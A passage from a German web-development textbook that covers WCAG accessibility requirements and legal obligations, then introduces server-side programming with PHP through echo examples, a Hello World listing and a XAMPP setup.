                    	
                        Möchten wir semantisch korrekten HTML-Code schreiben, so würden wir diesen Code verwenden:

                        <progress id="percent-loaded" value="75" max="100">75 %</progress> 


                    

                    	
                        Möchten wir hingegen optisch ansprechende Websites entwickeln, in denen systemeigene Elemente durch CSS-formatierbare HTML-Elemente ersetzt werden, so würden wir den oben vorgestellten Weg mit dem <div> einschlagen.

                    

                

                Sie sollten auf jeden Fall den ersten Weg bevorzugen, jedoch steht es außer Zweifel, dass der finale Entschluss oftmals keine Entscheidung des Webentwicklers, sondern des Auftraggebers ist, der vielleicht mehr an einer optisch schicken als an einer semantisch korrekten Gestaltung der Website interessiert ist.

                Weil die Anzahl an (semantischen) HTML-Elementen immer größer wird, wird auch die Anzahl an aria-Attributen in gleichem Maße mehr. Eine vollständige Auflistung aller Attribute ist unter https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles zu finden.

                Ein sensibler Umgang mit dem Thema Barrierefreiheit ist auf jeden Fall wünschenswert – und in manchen Fällen sogar verpflichtend. Sollten Sie also tiefer in diese Materie eintauchen wollen, so lohnt sich in jedem Fall ein Blick auf die aktuellen WAI-Richtlinien (2.1) unter https://www.w3.org/WAI/WCAG22/quickref/?versions=2.1.

            
        
        
            10.3.4    Was bleibt für uns zu tun?

            Was muss nun an unserer Website geändert werden – und wie gehen wir’s an?

            Zunächst gilt: Sie müssen sich nur dann um die Barrierefreiheit von Websites kümmern, wenn Sie eine Website für die in Abschnitt 10.3.2 aufgelisteten Unternehmen und Organisationen erstellen:

            
                	
                    Deutschland: Banken, Online-Banking, Bankdienstleistungen; Personenbeförderungsdienste im Luft-, Bus-, Schienen- und Schiffsverkehr (ausgenommen ist hier nur der Regionalverkehr); Telekommunikationsdiensten, Online-Shops und E‐Commerce sowie Online-Terminbuchungen wie etwa Hotel- und Reisebuchungen oder Terminbuchungen.

                

                	
                    Österreich: Behördliche sowie dem Bund zuordenbare Websites und mobile Anwendungen müssen im Sinne des Webzugänglichkeitsgesetzes (WZG) barrierefrei gestaltet werden. Hierunter fallen etwa auch Websites für Schulen, Kindergärten, Kindergrippen und den öffentlich-rechtlichen Rundfunk. In diesem Fall müssen die genannten Systeme die Konformitätsstufe AA der WCAG erreichen, außerdem muss eine (downloadbare) Barrierefreiheitserklärung abgegeben werden, in der die umgesetzten Maßnahmen dargestellt sind.

                

                	
                    Schweiz: Websites der öffentlichen Hand (Bund, Kantone und Gemeinden), von staatsnahen Betrieben (wie SBB oder Postauto) und von weiteren Körperschaften des öffentlichen Rechts (Universitäten, Schulen, Spitäler, Bibliotheken). Die geforderten Maßnahmen sind unter https://www.ech.ch/de/ech/ech-0059/3.0 zu finden.

                

            

            Dennoch ist natürlich anzuraten, Websites unabhängig von gesetzlichen Bestimmungen immer barrierefrei zu gestalten. Wie Sie feststellen werden, tun Sie das zum größten Teil bereits, wenn Sie die Erkenntnisse der letzten Kapitel umsetzen.

            Sehen wir’s uns an. In den folgenden Abschnitten gebe ich die jeweiligen Kapitel aus den WCAG-Richtlinien jeweils in der Beschreibung mit an. Die Übersicht der Richtlinien finden Sie unter https://www.w3.org/WAI/WCAG21/Understanding/ (WCAG 2.1) bzw. https://www.w3.org/WAI/WCAG22/Understanding/ (WCAG 2.2):

            
                Semantisch korrekter HTML-Code

                Grundvoraussetzung für eine barrierefrei gestaltete Seite ist der Einsatz von semantisch korrektem HTML-Code. Sollte dies an der einen oder anderen Stelle nicht umgesetzt worden sein, können Sie auf die aria-Angaben zurückgreifen. Achten Sie besonders auf Folgendes:

                
                    	
                        Der Titel der Seite entspricht dem Seiteninhalt (<title>) – WCAG 2.4.2.

                    

                    	
                        Für digitale Medien sollen alternative Inhalte bereitgestellt werden: Bilder (Alternativtext), Audiodaten (Transkript) und Videodaten (Untertitel sowie idealerweise eine textuelle Inhaltsbeschreibung) – WCAG 1.1.1, 1.2.1, 1.2.2, 1.2.3.

                        Dies ist im Falle von Audio- und Videodaten nicht immer einfach umzusetzen. Die technische Umsetzung für Transkripts basiert auf dem Format WebVTT (Web Video Text Tracks; siehe https://developer.mozilla.org/en-US/docs/Web/API/WebVTT_API); eine Umsetzung finden Sie etwa unter https://webaim.org/techniques/captions/.

                    

                    	
                        Die Strukturierung von Webseiten sollte mithilfe der strukturgebenden Elemente wie <main>, <nav>, <header>, <footer> sowie auch mit <form> und weiteren Elementen erfolgen (sogenannte Landmarks). Stehen diese nicht zur Verfügung, können Sie wiederum auf die aria-Roles (role="main", role="navigation" etc.) zurückgreifen.

                    

                    	
                        Zum Überspringen von Inhalten (wie etwa Navigationselementen) sollten Skiplinks in Form von Sprungankern angeboten werden, sodass Screenreader vom User nicht gewünschte oder benötigte Inhalte überspringen können (WCAG 2.4.1).

                    

                    	
                        Wird die Seite mit der Tastatur (anstatt eines Zeigegeräts) bedient, so müssen Sie darauf achten, dass das Navigieren auf der Seite möglichst linear (also von links nach rechts und von oben nach unten) erfolgt (WCAG 2.1.1, 2.1.2, 2.4.3). Dies erreichen Sie, indem Sie entweder den HTML-Code in der Reihenfolge aufbauen, wie auch der Inhalt dargestellt wird (und nicht mit CSS eine andere Reihenfolge wählen) oder indem Sie den Bereichen Tab-Indizes mithilfe des tabindex-Attributs zuweisen (z. B. mit <header tabindex="0">, <main tabindex="1"> usw.).

                    

                    	
                        Eine korrekte Überschriftenstruktur, das Gruppieren zusammengehöriger Elemente (z. B. in Form von Listen) und die korrekte Kennzeichnung von Formularelementen (insbesondere der Einsatz des type-Attributs sowie die Beschriftung der Elemente mit dem Tag <label>) verstehen sich fast von selbst.

                    

                    	
                        Formularfelder sollen der Bedeutung nach eingesetzt werden. Beispielsweise soll zur Eingabe einer E-Mail-Adresse auch ein Eingabeelement vom Typ Email verwendet werden: <input type="email" ...> (WCAG 1.3.5). Hierdurch soll auch sichergestellt werden, dass sämtliche Eingabe- und Auswahlfelder (sowie alle weiteren Elemente eines User-Interfaces) von assistierenden Systemen (wie etwa Screenreadern) identifiziert und verstanden werden (WCAG 4.1.2).

                    

                    	
                        Eingaben, die der User in Formularen bereits vorgenommen hat, sollen nicht verloren gehen, wenn der User zu einem vorigen Schritt der Eingabe zurückgeht (WCAG 3.3.7).

                    

                

                Fazit: Haben Sie das umgesetzt, was Sie in Kapitel 5 zu HTML gelernt haben, so gibt es in Hinblick auf das HTML Ihrer Website für Sie so gut wie nichts mehr zu tun.

            
            
                Gestaltung

                In Hinblick auf die Gestaltung ist vor allem wichtig, dass die Website auf allen Ausgabegeräten gleichermaßen funktional ist (vgl. etwa WCAG 1.3.4 zur Orientation). Außerdem müssen Sie auf Personen Rücksicht nehmen, die visuell eingeschränkt sind (wie etwa farbenblinde Personen). Insbesondere sollten Sie folgende Punkte berücksichtigen:

                
                    	
                        Farbe allein soll nicht das einzige Kennzeichnungselement sein: Beispielsweise reicht es nicht aus, einen Text gelb zu hinterlegen, um ihn als markiert zu kennzeichnen. Hierzu muss auch ein entsprechendes HTML-Tag (wie etwa <mark>) verwendet werden, um die Semantik festzulegen (WCAG 1.4.1).

                    

                    	
                        Die Lesbarkeit von Text muss immer gegeben sein (WCAG 1.4.2, 1.4.6, 1.4.11). Das bedeutet, dass der Kontrast zum Hintergrund ausreichend stark sein muss. Ein Kontrastverhältnis von 4.5:1 für Standardtext und 3:1 für größeren Text wie Überschriften o. Ä. sollte erreicht werden; zur Bestimmung können Sie beispielsweise den Kontrastrechner der Leserlich-Website verwenden (https://www.leserlich.info/werkzeuge/kontrastrechner/).

                        Der Zeilenabstand (line-height:1.5; WCAG 1.4.11) sowie die Satzlänge (55 bis 75 Zeichen pro Zeile: width:75ch;) und die Absatzlänge (5 bis 7 Zeilen pro Absatz) müssen den typografischen Regeln entsprechen. Die Schriftgröße muss der gewählten Schriftgröße (Betriebssystem oder Browsereinstellungen über das User-Stylesheet) entsprechen (body { font-size:1em; }) und veränderbar sein (WCAG 1.4.4).

                    

                    	
                        Sämtliche Gestaltungsangaben hinsichtlich Breite, Höhe etc. sollten auf der gewählten Schriftgröße basieren, wie Sie es in Kapitel 8 beim Responsive Design gelernt haben. Außerdem muss ein Abstand zwischen Elementen berücksichtigt werden, sodass die Bedienung mit dem Finger kein gleichzeitiges Klicken mehrerer Elemente erlaubt (WCAG 2.5.8).

                    

                    	
                        Die Farben von Vorder- und Hintergrund sollen bei sämtlichen Elementen so gewählt werden, dass ein ausreichender Kontrast entsteht. Details dazu haben Sie in Abschnitt 2.9.5 zur Farbwahl kennengelernt (Farbkontrast von Farben über das L*a*b-Modell berechnen).

                    

                    	
                        Die User sollten zu jedem Zeitpunkt wissen, in welchem Bereich der Website sie sich befinden. Außerdem gilt auch hier wieder, dass jede Seite eine ausreichende lineare Handhabung (Nutzung) sowie Blickführung ermöglicht (vgl. »chaotisches Blickverhalten« in Abschnitt 10.1.6), sodass sich die User gut orientieren können (WCAG 1.3.2).

                    

                    	
                        Animationen sollten nur dort eingesetzt werden, wo sie auch sinnvoll sind: beispielsweise als Hover-Effekte bei Buttons, um dem User ein ausreichendes Feedback im Sinne der Heuristiken von Jacob Nielsen (vgl. Abschnitt 10.1.1) zu geben. Sollte es sich um länger dauernde Informationen handeln, so sollten diese pausierbar sein (WCAG 2.2.2).

                    

                    	
                        Pflichtfelder in Formularen sollen neben der HTML-Kennzeichnung (Attribut required) auch mit einem Stern o. Ä. gekennzeichnet werden. Generell sollen Formularfelder beschriftet werden (WCAG 3.3.2).

                    

                    	
                        Sowohl Audio- als auch Videodateien müssen über eine Abspielsteuerung verfügen (WCAG 1.4.2)

                    

                

                Fazit: Haben Sie die Erkenntnisse aus der Farbpsychologie (Kapitel 2; Kontraste), dem Responsive Design (Kapitels 8; Anpassung der Darstellung an die Bedürfnisse des Users, insbesondere Größenangaben relativ zur Schriftgröße) und der Usability (Nutzbarkeit des Systems, Feedback an die User, Blickverhalten) berücksichtigt, so haben Sie auch hier nichts zu befürchten.

            
            
                Aufbau des Seiteninhalts

                Der Aufbau des Inhalts einer Seite soll verständlich sein:

                
                    	
                        Die in der Seite genutzte Sprache muss von einem assistierenden System (wie einem Screenreader) ermittelt werden können (z. B. durch <html lang="de">) – WCAG 3.1.1. Die Spracherkennung sollte bei Bedarf auf einzelne HTML-Elemente erweitert werden (z. B. mit <p lang="en">) – WCAG 3.1.2.

                    

                    	
                        Die Beschriftung von Links soll so gewählt werden, dass der aufzurufende Inhalt der Beschriftung entspricht (WCAG 2.4.4).

                    

                    	
                        Überschriften und Beschriftungen von Elementen sollen entsprechend des zugehörigen Inhalts gewählt werden (WCAG 2.4.6).

                    

                    	
                        Der Inhalt einer Seite soll immer gleich bleiben, auch wenn eine Interaktion durch den User erfolgt. Mit anderen Worten, ein Hover-Effekt soll keinen (textuellen) Inhalt ändern (WCAG 3.2.2). Dies gilt ebenso für die Navigation (WCAG 3.2.3).

                    

                    	
                        Jede Website sollte eine Möglichkeit der Hilfe (etwa in Form einer Kontaktaufnahme über ein Kontaktformular, Botsysteme, FAQs etc.) besitzen (WCAG 3.2.6).

                    

                    	
                        Auftretende Fehler sollten in der Sprache des Users erklärt werden (WCAG 3.3.1). Hierüber hatten wir auch bei den Heuristiken von Jacob Nielsen in Abschnitt 10.1.1 gesprochen. Außerdem sollte eine entsprechende (Ausfüll-)Hilfe angeboten werden (WCAG 3.3.3).

                    

                

                Fazit: Über die Inhaltsgestaltung haben wir uns im Rahmen der Content Strategy in Kapitel 2 Gedanken gemacht. Außerdem hatte ich in den vorangegangenen Usability-Überlegungen einige mögliche Fallen aufgelistet, die es zu vermeiden gilt. Demnach ist auch hier nichts zu befürchten.

            
            
                Einbettung von fremden Elementen

                Werden fremde Elemente eingebettet, so kann sich die Arbeit ein wenig umfangreicher gestalten, da man externen Code nicht beeinflussen kann:

                
                    	
                        Captcha-Elemente müssen mehr als eine Möglichkeit zur Auswahl aufweisen. Weil dies nicht in unserer Macht liegt, müssen wir geeignete Captcha-Systeme (wie beispielsweise Googles reCaptcha) auswählen.

                    

                

            
            
                Regeln für seltener auftretende Situationen

                Schlussendlich existiert noch eine Reihe von Regeln, die Situationen berücksichtigen, die eher selten auftreten:

                
                    	
                        Zeitlimitierte Funktionen sollen durch den User gesteuert werden können: Er muss das Zeitlimit zurücksetzen oder erweitern können.

                    

                    	
                        Websites sollten keine Blinkeffekte aufweisen, die schneller aus dreimal pro Sekunde auftreten, sofern der Blinkeffekt oberhalb der Rotlichtschwelle ist, da hierdurch Anfälle bzw. physische Reaktionen ausgelöst werden können (WCAG 2.3.1).

                    

                    	
                        Wird die Seite über Gesten oder mittels Drag-and-drop gesteuert, so sollte es eine Alternative geben, die mit nur einem Eingabesystem auskommt (ein Mausklick, ein Tastendruck etc.) – WCAG 2.5.1 und 2.5.7.

                    

                    	
                        JavaScript-Ereignisse sollten nicht auf ein »down«-Ereignis reagieren (nutzen Sie mouseup anstatt mousedown, keyup/keypress anstatt keydown), es sei denn, das ausgelöste Ereignis kann rückgängig gemacht werden (WCAG 2.5.2). Dies ist insbesondere dann wichtig, wenn es sich um den Verkaufsabschluss in einem Online-Shop handelt.

                    

                    	
                        Erfordert eine Steuerung der Website das Bewegen (z. B. das Neigen oder Drehen) des Geräts, so muss dies auch über Eingabeelemente möglich sein (z. B. Buttons, die geklickt werden können).

                    

                

                Fassen wir also zusammen: Wenn Sie mit Bedacht ans Werk gehen, sich an die in HTML aufgestellten Regeln zur Semantik halten, die Ideen des Responsive Design verinnerlichen und versuchen, sich in das Verhalten der User hineinzuversetzen, dann sind Sie auf dem allerbesten Wege, auch barrierefrei zu arbeiten. Die Änderungen liegen dann (nur) noch im Detail.

            
        
        
            10.3.5    Weitere Quellen und hilfreiche Tools

            Abschließend möchte ich noch auf ein Projekt verweisen, das sich der Accessibility-Thematik widmet: a11y – ausgesprochen Ally (https://www.a11yproject.com/). a11y steht für »elf Buchstaben zwischen a und y im Wort accessibility« und Ally wiederum für »Verbündete«. Dieses Accessibility-Projekt hat sich zur Aufgabe gemacht, die digitale Zugänglichkeit von Websites zu erleichtern. Die genannte Website stellt gutes, fundiertes Wissen bereit, sollten Sie sich intensiver mit der Accessibility-Thematik beschäftigen wollen. Unter den Resources (https://www.a11yproject.com/resources/) finden sich auch allerlei Bücher zum Thema, außerdem können Sie die dortigen Experten auch für ein Audit engagieren.

            Google stellt beispielsweise mit den axe DevTools eine Erweiterung für den Chrome-Browser zur Verfügung, mit der Sie Web-Accessibility-Tests durchführen können (https://chromewebstore.google.com/detail/axe-devtools-web-accessib/lhdoppojpmngadmnindnejefpokejbdd?pli=1).

        
    


                    
                        11    Die Serverseite bzw. das Backend – Programmieren mit PHP
Mit PHP betreten wir nun die Welt der serverseitigen Programmierung, was Ihren Möglichkeiten-Horizont extrem erweitert. Nun werden Sie auch in der Lage sein, Daten dauerhaft zu speichern, Bilder dynamisch zu generieren und vieles mehr.
PHP steht für Hypertext Pre-Processor (vormals: Personal Homepage). PHP eine serverseitige Programmiersprache, was im Wesentlichen bedeutet, dass sämtlicher PHP-Code noch durch den Webserver abgearbeitet wird (bzw. durch ein im Rahmen des Webservers installiertes PHP-Modul). Somit gilt auch, dass kein serverseitiger (PHP-)Code jemals an den Browser übermittelt wird. (Es sei denn, es ist aufseiten des Servers etwas wirklich schiefgegangen.)

        [»]  Welche PHP-Version verwenden?

        Im Februar 2018 wurden parallel die Versionen 5.6 und 7.1 von PHP eingesetzt, wobei die Version 6 übersprungen wurde. Am 26.11.2020 wurde die achte Version von PHP veröffentlicht, wodurch alle Versionen von PHP vor 7.3 als deprecated gelten und nicht mehr eingesetzt werden sollen. Die Version 7.4 von PHP wurde bis zum 28.11.2022 noch mit Security-Updates versehen, jedoch wird seitdem zur Verwendung von PHP 8 geraten, das schon im November 2020 veröffentlicht wurde. Anzeichen für PHP 9 gibt es aktuell noch keine.

    
Die serverseitige Programmierung eröffnet Ihnen ein ganzes Spektrum neuer Möglichkeiten, die im Rahmen der clientseitigen Programmierung nicht gegeben wären:

        	
            den Zugriff auf das serverseitige Dateisystem

        

        	
            den Zugriff auf Datenbanken initiieren

        

        	
            das Versenden von E-Mails anstoßen

        

        	
            das Generieren von Bildern

        

        	
            das Generieren von unterschiedlichstem Code (HTML-, CSS- und JavaScript-Code ebenso wie XML- und JSON-Code)

        

        	
            das Generieren von Inhalten (PDF-, CSV- und andere Dokumente)

        

    

        11.1    PHP gegen den Rest der Welt?

        Vielleicht fragen Sie sich, warum gerade PHP die bevorzugte Sprache der Backend-Entwickler*innen im Falle von Websites ist. Diese Frage ist berechtigt, jedoch muss sie für jede Sprache gestellt werden: Warum ist JavaScript die bevorzugte Sprache auf der Clientseite, warum ist HTML die Auszeichnungssprache unserer Wahl usw.? Klar, die HTML ist ein Standard, aber …

        Okay, kommen wir zurück zur Frage »Warum PHP?«. Nun, zunächst einmal muss gesagt werden, dass PHP eine Sprache ist, die rein für die Webentwicklung auf Serverseite erdacht wurde. Das trifft für keine der anderen Sprachen zu, die infrage kämen:

        
            	
                Python ist eine Sprache, die universell eingesetzt werden kann: Man kann mit Python genauso Applikationen entwickeln wie auch Websites.

            

            	
                JavaScript ist Ihnen bereits von der Clientseite bekannt; auf der Serverseite kann JavaScript aber auch eingesetzt werden.

            

            	
                Java wäre eine Alternative – auch hiermit lassen sich Websites entwickeln.

            

        

        Ich könnte die Liste endlos fortsetzen, und das hat einen guten Grund: All das, was man üblicherweise von einer serverseitigen Sprache fordert (Zugriff auf Datenbanken und das Dateisystem, Versand von E-Mails anstoßen, Bilder und Code generieren etc.), wird üblicherweise von jeder Programmiersprache abgedeckt. Das, was wir im Sinne haben, ist nun nichts »Besonderes«. Fakt ist jedoch, dass die genannten Sprachen allesamt mehr können als das, was wir als Backend-Entwickler*innen benötigen. Das mag im ersten Moment toll klingen, ist es jedoch nicht. Viel angenehmer ist es, mit einer Sprache zu arbeiten, die genau auf einen Bereich fokussiert ist und alles andere außen vor lässt, was für PHP zutrifft: PHP ist eine Sprache, die rein für die Webentwicklung erdacht wurde.

        Die viel grundlegenderen Fragen sind jedoch die, ob es zur jeweiligen Sprache einen Interpreter gibt, ob vonseiten der Provider eine entsprechende Installation vorhanden ist und wie einfach und schnell man mit einer Sprache programmieren kann. Auch das vorhandene Ökosystem mit Frameworks ist ein Faktor.

        
            	
                Der serverseitige Code, den wir bei der Backend-Entwicklung schreiben, muss zur Laufzeit der Applikation interpretiert werden. Das bedeutet, es muss ein entsprechender Interpreter vorhanden sein, der dies erledigt. Für PHP wie auch für Python und JavaScript existieren solche Interpreter; für Java existieren zwar vereinzelt Interpreter-Projekte, aber so richtig durchgesetzt hat sich das nicht.

            

            	
                Nur wenige Hosting-Provider auf dem Markt unterstützen andere serverseitige Sprachen als PHP. Erst bei Cloud-Providern werden Sie auf der Suche nach anderen Sprachen fündig.

            

            	
                Mit PHP kann imperativ und objektorientiert programmiert werden. Selbiges gilt – mit einem Augenzwinkern – für JavaScript, aber nicht für Python und Java. Der Vorteil beider Ansätze ist, dass man einerseits rasch ans Ziel gelangt (imperativ) und andererseits umfangreiche Projekte sauber umsetzen kann (objektorientiert).

            

        

        Zu Punkt 2 könnte man natürlich anmerken, dass man ja einen eigenen Server aufsetzen und betreiben könnte. Ja, klar. Aus der Erfahrung heraus würde ich Ihnen jedoch dringend davon abraten. Warum? Na ja, Sie sind dann dafür verantwortlich, dass das Gerät 24/7 läuft, immer auf dem aktuellsten Stand gehalten wird, dass sicherheitskritische Updates zeitnah eingespielt werden und, und, und. Glauben Sie mir: Das wollen Sie nicht. Es sei denn, Sie haben sonst nichts anderes zu tun.

        Summa summarum erweist sich PHP als eine auf dem Markt etablierte Sprache, die den maximalen Umfang an Möglichkeiten aufweist, den Sie zur Webentwicklung brauchen. Die Sprache ist mittlerweile sehr, sehr ausgereift, ist schnell, gut zu programmieren und einfach zu erlernen. Außerdem ist sie sehr weit verbreitet und hat eine sehr große und aktive Entwickler-Community mit vielen Open-Source-Werkzeugen im Hintergrund. Was sie nicht ist, ist hip. Hip ist Python.

    


                    
                        
        11.2    Aller Anfang ist leicht

        Um dem Webserver mitzuteilen, dass das jeweilige Dokument vom PHP-Modul verarbeitet werden soll, müssen Sie jedes PHP-Dokument mit der Endung .php speichern. Einzig aufgrund der Dateiendung wird der PHP-Code geparst und interpretiert (verarbeitet) – sollte also eine andere Dateiendung als .php verwendet werden, wird der PHP-Code nicht interpretiert.

        Zumeist wird PHP-Code in ein HTML-Gerüst integriert, da PHP hauptsächlich dafür verwendet wird, HTML- oder JSON-Code serverseitig zu generieren. Dementsprechend steht ein entsprechender Kennzeichner bereit, mit dessen Hilfe der PHP-Code gekennzeichnet wird: PHP-Code muss zwischen einem beginnenden <?php und einem endenden ?> stehen.

        
            [»]  Der PHP-Code wird auf dem Server verarbeitet

            Von vorrangiger Wichtigkeit ist, dass Sie verstehen, dass der PHP-Code noch auf der Serverseite verarbeitet wird und somit in der Antwort (im Response) des Servers an den Client nicht mehr vorhanden ist. Gerade dieser Punkt ist einer, mit dem die meisten Webentwickler*innen zu kämpfen haben: die Unterscheidung zwischen demjenigen Code, der auf der Serverseite verarbeitet wird (PHP), und demjenigen, der auf der Clientseite verarbeitet wird (HTML, CSS, JavaScript etc.).

        

        <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Ein erstes PHP-Dokument</title>
    <meta charset="utf-8">
  </head>
  <body>
    ...


            <?php
    ...
    ?>


            ...
  </body>
</html>


        Somit erhält man das erste PHP-Dokument:

        <!DOCTYPE html>
<html lang="de">
  <head>
    <title>Ein erstes PHP-Dokument</title>
    <meta charset="utf-8">
  </head>
  <body>


            <?php echo("<p>Hallo Welt!</p>"); ?>


          </body>
</html>


        Listing 11.1    
            Ein erstes PHP-Beispiel, das »Hallo Welt!« auf dem Bildschirm ausgibt

        Der echo-Befehl wird dazu verwendet, um – in diesem Fall – HTML-Code ins Dokument auszugeben (vergleiche document.write in JavaScript).

        
            [»]  Verschiedene Anwendungen von echo

            Es existieren unterschiedliche Anwendungen von echo. echo selbst ist an sich keine Funktion, sondern ein Sprachkonstrukt. Aus diesem Grund müssen die runden Klammern, die bei Funktionsaufrufen benötigt werden, nicht angegeben werden. Folgende Anwendungen erzeugen allesamt »Hallo Welt!«:

            <?php echo("Hallo Welt!"); ?>
<?php echo "Hallo Welt!"; ?>
<?php echo "Hallo ", "Welt!"; ?>
<?= 'Hallo Welt!' ?> 


            Die Anführungszeichen können sowohl einfach als auch doppelt geschrieben werden. Die letzte Variante ist eine schnelle Alternative, um den echo-Befehl zu verwenden. Dennoch rate ich Ihnen dazu, zunächst einmal die erste Variante zu verwenden. Später, wenn Sie sattelfest sind, können Sie sich das Schreiben etwas vereinfachen, wenn Sie wollen.

        

        Sowohl während des Erlernens einer Programmiersprache als auch danach ist man als Programmierer immer wieder darauf angewiesen, etwa die Schreibweise von Befehlen oder auch deren Bedeutung nachzulesen. Die offizielle Quelle für PHP ist die Website www.php.net (siehe Abbildung 11.1). Es ist sehr empfehlenswert, dass Sie die erlernten Befehle immer wieder einmal auf dieser Website nachlesen, denn zu allen Befehlen werden auch verwandte Befehle aufgelistet, die im Einzelfall vielleicht sogar besser geeignet sind als derjenige Befehl, den Sie im Sinn hatten.

        
            [image: Die Website »www.php.net« ist die offizielle Entwickler-Website zu PHP.]

            Abbildung 11.1    
            Die Website »www.php.net« ist die offizielle Entwickler-Website zu PHP.

        
        Eine weitere hilfreiche Quelle für »Programmierer in Not« ist die Website von Stack Overflow: www.stackoverflow.com. Sie ist zwar »nur« ein Forum, jedoch tummeln sich hier sehr viele sehr gute Programmierer, die immer wieder gerne gewillt sind, anderen zu helfen.

    


                    
                        
        11.3    Die Entwicklungsumgebung

        Mittlerweile sind Sie in der Entwicklung von Frontend-Code ja schon sehr erfahren, und die gute Nachricht ist: An unserer Entwicklungsumgebung wird sich nichts ändern. Weil wir nun serverseitig programmieren, müssen Sie lediglich beherzigen, dass es nun in der Tat einen Server benötigt, um unseren Code zu testen. Voraussetzung hierfür ist also die Installation eines Webservers. Das geschieht etwa im Rahmen eines installierten Entwicklerpakets wie XAMPP oder durch eine Erweiterung in einem geeigneten Editor wie etwa VS Code. Wir haben uns für die erste Variante entschieden, was zu folgender Vorgehensweise führt:

        
            	
                Über das XAMPP Control Panel wird der Webserver (Apache) gestartet.

            

            	
                Der Webserver ist unter der Adresse localhost (oder 127.0.0.1 oder unter der lokalen IP-Adresse des Geräts) erreichbar.

            

            	
                Das Root-Verzeichnis des Webservers lautet htdocs und befindet sich unter Windows im Installationsverzeichnis von XAMPP (beispielsweise \xampp\htdocs) bzw. unter macOS unter den Programmen (Programme/XAMPP/htdocs). Dieses Verzeichnis samt Unterverzeichnissen ist der Speicherort für all unsere Dateien (.html, .css, .js, sämtliche Mediendateien und nun auch .php).

            

            	
                Als Testumgebung dienen uns natürlich wieder unsere Browser, wobei wir im Fall von PHP nun nicht mehr darauf achten müssen, in unterschiedlichen Browsern zu testen, da wir es ja nun mit einer serverseitigen Sprache zu tun haben: Den Browser betreffen nur die Frontend-Technologien (HTML, CSS, JavaScript und Co.).

            

            	
                Ein Zugriff auf die Logfiles, in denen auftretende Fehler ausgegeben werden, ist immer wünschenswert. Das klappt in der lokalen Entwicklungsumgebung gut, auf Providerseite werden wir jedoch enttäuscht werden. Aus diesem Grund werden wir uns in Abschnitt 11.9 eine Strategie zurechtlegen, wie wir auch in PHP (ausreichend) gut debuggen können.

            

        

        Die Wahl des Editors hängt vollkommen von Ihren eigenen Bedürfnissen ab. Dennoch würde ich Ihnen ab nun raten, auf einen Editor zu setzen, der Sie in der weiteren Entwicklung hinsichtlich Code-Highlighting etc. unterstützt – ganz im Sinne von Kapitel 4 zur lokalen Entwicklungsumgebung.

        Viele Editoren ermöglichen Ihnen das Verwalten von Websites in Form von Projekten, wo Sie zwischen einer lokalen und einer Remote-Dateiablage unterscheiden können:

        
            	
                Die lokale Ablage ist immer diejenige, in der Sie als Entwickler*in Ihre Daten ablegen möchten.

            

            	
                Die Remote-Ablage ist dann der Server, auf den Sie die Daten hochladen.

            

        

        In manchen Fällen gesellt sich noch eine weitere Ablage in Form eines Testsystems hinzu. Das ist ebenfalls ein Remote-System, jedoch im Sinne eines Testservers, der eben für Testzwecke gedacht ist und demnach in der Regel nicht öffentlich zugänglich ist, sodass Sie zwar online, aber dennoch im geschützten Umfeld testen können.

        Die meisten Editoren bieten uns in Hinblick auf eine Versionsverwaltung auch die Möglichkeit, ein Git-Repository einzubinden. Über ein Git haben wir uns bereits in Abschnitt 9.2 Gedanken gemacht.

        Arbeiten wir an einer neuen Website, die zunächst einmal nur lokal entwickelt wird, so ergäbe sich für unsere lokale Entwicklungsumgebung folgendes Bild:

        
            	
                Die lokale Ablage ist ein Verzeichnis, in dem wir unsere Entwicklungsdaten auf dem Speichermedium (lokale Festplatte o. Ä.) ablegen.

            

            	
                Die Remote-Ablage ist das Root-Verzeichnis (oder ein Unterverzeichnis) des lokalen Webservers, also etwa \xampp\htdocs (Windows) oder Programme/XAMPP/htdocs (macOS).

            

        

        Würden wir beispielsweise an einer bereits bestehenden Website arbeiten und lokal an einer Änderung basteln, so könnte dies wie folgt aussehen:

        
            	
                Die lokale Ablage ist und bleibt der lokale Speicherplatz – daran ändert sich nichts.

            

            	
                Die Remote-Ablage ist der Live-Server des Projekts (also derjenige beim Hosting- oder Cloud-Provider).

            

            	
                Die Test-Ablage ist das Root-Verzeichnis des lokalen Webservers, wie zuvor beschrieben.

            

        

        Für das Beispiel des Ducaticlubs Linz (www.ducaticlub.at) würde die Site-Verwaltung (das ist die Projektverwaltung im Dreamweaver) so aussehen wie in Abbildung 11.2.

        
            [image: Die Einstellungen zur Site stellen die lokale Ablage dar, in der auch ein Git als Versionsverwaltungssystem eingesetzt werden kann.]

            Abbildung 11.2    
            Die Einstellungen zur Site stellen die lokale Ablage dar, in der auch ein Git als Versionsverwaltungssystem eingesetzt werden kann.

        
        
            [image: Die Einstellungen zum Server geben wiederum an, mit welchen Servern (Remote- oder Testserver) gearbeitet werden soll. Üblicherweise lassen sich mehrere Server definieren, falls beispielsweise über unterschiedliche Protokolle auf die Ablage zugegriffen wird.]

            Abbildung 11.3    
            Die Einstellungen zum Server geben wiederum an, mit welchen Servern (Remote- oder Testserver) gearbeitet werden soll. Üblicherweise lassen sich mehrere Server definieren, falls beispielsweise über unterschiedliche Protokolle auf die Ablage zugegriffen wird.

        
    


                    
                        
        11.4    Imperativer oder objektorientierter Ansatz?

        »Imperativ oder objektorientiert – welchen Ansatz soll ich wählen?« Diese Frage stellen sich Webentwickler*innen nicht selten, wenn sie an ein neues Projekt herangehen. Aber was meint man damit? Gehen wir kurz darauf ein:

        
            	
                Der imperative Ansatz besteht aus all dem, was wir in JavaScript kennengelernt haben: Variablen, Bedingungen, Schleifen, Arrays/Objekte und Funktionen. Man könnte also sagen, JavaScript ist eine imperative Programmiersprache (die jedoch auch objektorientiert programmiert werden kann). Der Punkt ist, dass der imperative Ansatz bei den Funktionen aufhört – mehr gibt’s nicht. Man könnte verallgemeinernd sagen, dass für jeden wiederverwendbaren Code eine Funktion geschrieben wird.

            

            	
                Beim objektorientierten Ansatz rollen Sie ein Projekt ganz anders auf, indem Sie auf sogenannte Klassen zurückgreifen. Über diese Klassen werden Objekte abgebildet, die in sich abgeschlossen sind. Was genau das bedeutet, ist Ihnen mit dem Wissen, das Sie bereits in diesem Buch erworben haben, noch nicht klar, aber ganz allgemein bedeutet es, dass die Objektorientierung auf die imperative Programmierung noch »eins draufsetzt«.

            

        

